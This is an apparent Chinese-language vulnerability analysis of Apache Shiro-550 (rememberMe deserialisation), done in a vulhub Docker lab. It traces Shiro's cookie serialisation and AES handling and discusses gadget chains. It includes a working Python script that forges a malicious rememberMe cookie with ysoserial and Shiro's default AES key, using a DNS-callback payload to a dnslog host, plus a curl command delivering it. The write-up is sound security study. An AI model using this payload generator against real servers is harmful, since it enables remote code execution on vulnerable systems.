Shiro550
環境搭建
參考:https://www.cnblogs.com/twosmi1e/p/14279403.html
使用Docker vulhub中的環境
- docker cp 將容器內的shiro的jar包copy出來
docker cp dd54fcfb67c6:/shirodemo-1.0-SNAPSHOT.jar ~/Desktop
- 解壓jar包,IDEA開啟,在
libraries
匯入該jar包 - 在
modules
中新增解壓後的jar中BOOT_INF
目錄 - 修改Docker File,新增遠端除錯埠
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8080:8080"
- "5005:5005"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar
漏洞復現
em沒啥可復現的,github上相關工具一搜一大把,直接點點點就shell了。
漏洞分析
根據官方issue,可知該漏洞觸發點位於CookieRememberMeManager
類,對於Cookie的處理為rememberSerializedIdentity
方法。
該方法會Base64 編碼指定的序列化位元組陣列並將該 base64 編碼的字串設定為 cookie 值。
rememberSerializedIdentity
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);
Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
該方法在其繼承類shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java
中被rememberIdentity
方法呼叫,而rememberIdentity
方法在onSuccessfulLogin
方法中被呼叫。
rememberIdentity
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}
onSuccessfulLogin
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);
//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}
那麼我們在onSuccessfulLogin
方法下個斷點,先正向看看rememberMe
的生成過程。
在onSuccessfulLogin
方法中首先對過期的身份做一個清除,之後進入if中isRememberMe
方法,在該方法中對傳入的token
進行判斷當滿足以下條件:
- token不為null
- token屬於
RememberMeAuthenticationToken
型別 UsernamePasswordToken
類中rememberMe
屬性為true
才進入後續的rememberIdentity
方法。
在rememberIdentity
方法中先呼叫getIdentityToRemember
方法獲取使用者登陸資訊,如賬號密碼。之後呼叫rememberIdentity
方法
繼續跟進,首先呼叫convertPrincipalsToBytes
,在convertPrincipalsToBytes
中將principals
作為引數呼叫serialize
方法,該方法會返回一個byte陣列,繼續跟進
最終在DefaultSerializer#serialize
對其序列化,並返回byte陣列
回到convertPrincipalsToBytes
方法,後續對序列化之後生成的byte陣列做了加密的操作,詳細流程在AbstractRememberMeManager#encrypt
方法中:
首先獲取加密模式,採用AES CBC
後續就是對其加密的詳細操作了,這裡不細說,AES加密時所需要的key預設在shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java
檔案中
對byte流進行AES加密完之後會跳出encrypt
方法,返回一個加密後的byte陣列
最終回到rememberIdentity
方法中,將AES加密後的陣列作為引數帶入rememberSerializedIdentity
方法。
rememberSerializedIdentity
方法中將序列化並進行AES加密後的byte陣列再做一層base64編碼,之後將其作為rememberMe
的值新增到Cookie中
上面就是整個Shiro中生成rememberMe
的流程,當勾選了rememberMe
時,會對我們的登陸資訊(在Shiro中是封裝成了SimplePrincipalCollection
物件)進行 序列化
—> AES 加密
—> base64編碼
之後賦值給rememberMe並新增到Cookie中。
那同樣的,在AbstractRememberMeManager
類中會存在與生成rememberMe
完全相反的操作來反序列化rememberMe
的值,我們拿py指令碼生成一個rememberMe
其中攜帶URLDNS的payload發過去。
生成rememberMe的py指令碼
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java','-jar','ysoserial.jar','URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key ="kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ =='__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u9az09.dnslog.cn')
with open("./payload.cookie","w") as fpw:
print("rememberMe={}".format(payload.decode()))
res ="rememberMe={}".format(payload.decode())
fpw.write(res)
利用,將rememberMe的值更換為我們生成的payload,IDEA中在AbstractRememberMeManager#getRememberedPrincipals
方法下斷點,Debug,傳送請求。
curl -X GET -H "Cookie: rememberMe=wwiuvj1NScOJENeOYBHiARm4HiwgjL44snGK34CPVGSAX5OMvboBo7aZNGBkridDmRVJHK6blSXX6c4KJKhbTF0gMtfGskn3HkjNwzf/bebgLMnqqbBLlZo+uKdu68AbtTm0JReTwR9lp66f3D8u1nk/sAA78XrW5t9TSNUWV/KbT1439TjbuD9arJ5m+mDIJ7rHCwC0zPzey013aoBYeXjTN06XpBKyx5+W03akcFsECVWWRzX7osVVejjwmK+stUNgunmqbOmK5UepPJbFjWrBrXQZDpUYWeQHRgHXtM78ApQhMLuj/lwtjwgjN0nONiIaymx0G2MSXfWl1DumEqEZy" http://127.0.0.1:8080/doLogin
跟進getRememberedSerializedIdentity
方法
首先在getCookie().readValue(request, response)
中通過cookie.getValue()
拿到我們構造好的rememberMe
的值
首先在ensurePadding()
方法中對序列化資料進行是否符合base64編碼規範的檢查,之後對資料進行base64解碼,返回解碼後的結果。
回到getRememberedPrincipals
方法,將解碼後的資料作為引數,呼叫convertBytesToPrincipals
方法,繼續跟進。
呼叫decrypt
方法,對資料進行解密
流程與之前加密的過程類似,先獲取CipherService
使用AES CBC解密資料,並將結果返回
回到convertBytesToPrincipals
方法,呼叫deserialize
最終呼叫org/apache/shiro/io/DefaultSerializer#deserialize
進行反序列化。後續就是進入Gadget部分了
Shiro利用的難點
Shiro resolveClass()
這裡首先要提一下resolveClass()
方法
resolveClass 是反序列化中用來查詢類的方法,簡單來說,讀取序列化流的時候,讀到一個字串形式的類名,需要通過這個方法來找到對應的 java.lang.Class 物件。
Shiro中重寫了ObjectInputStream
類的resolveClass
函式,ObjectInputStream
的resolveClass
方法用的是Class.forName
類獲取當前描述器所指代的類的Class物件。而重寫後的resolveClass
方法,採用的是ClassUtils.forName
程式碼如下,可以看到,引數型別為String,第一眼看上去是不可以傳陣列進去。在P師傅的漫談中也提到了這個點,給出的結論是:如果反序列化流中包含非Java自身的陣列,則會出現無法載入類的錯誤。所以也就無法利用CC1等鏈的後半段為Transformer
陣列的鏈了。
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
對於該問題的解決可參考wh1t3p1g師傅的這篇文章https://www.anquanke.com/post/id/192619
大概意思是依然可以用CC2、CC4,因為CC2、CC4沒用到Transformer
陣列,包括後來衍生出來的CommonsCollectionsK1
鏈。
而CC2和CC4詳細內容可以看我之前的分析文章。
JRMP
而Orange師傅也提出了一種解決思路,可以用到JRMP
去打,也是之前feihong工具中有提供的一種攻擊手法,但是需要目標出網。
目前來看,大部分的工具用來打shiro基本夠用了,現在感覺是shiro越來越少而且就算有很大一部分也是動態key...
CommonsBeanutils
這個在P師傅的安全漫談中也提到過,Shiro自帶CommonsBeanutils 1.8.3 所以可以用CB1和CB2去打,但利用CB1有些小問題。在yso中的CB鏈是1.9.2,所以會造成反序列化UID不一致導致利用不成功,需要改造一下CB鏈即可,因為沒有對CB鏈進行分析,這裡先鴿著,後續研究下感興趣的師傅可以看P師傅的安全漫談文章。
寫在最後
官方對於Shiro這個問題的修復是將預設Key被移除了,改為動態Key(Shiro 1.2.5),但是反序列化問題依然存在。
包括在後續版本中(shiro1.4.2)將 AesCipherService 中的預設密碼模式更新為 GCM(修復Shiro721)。
以及後續的Shiro各種許可權繞過也有待研究。
除錯有感:Eason 的歌yyds ?
Reference
java安全漫談
https://www.cnblogs.com/nice0e3/p/14183173.html](https://www.cnblogs.com/nice0e3/p/14183173.html#解密)
https://p2hm1n.com/2020/12/03/Shiro550-反序列化漏洞分析/](https://p2hm1n.com/2020/12/03/Shiro550-反序列化漏洞分析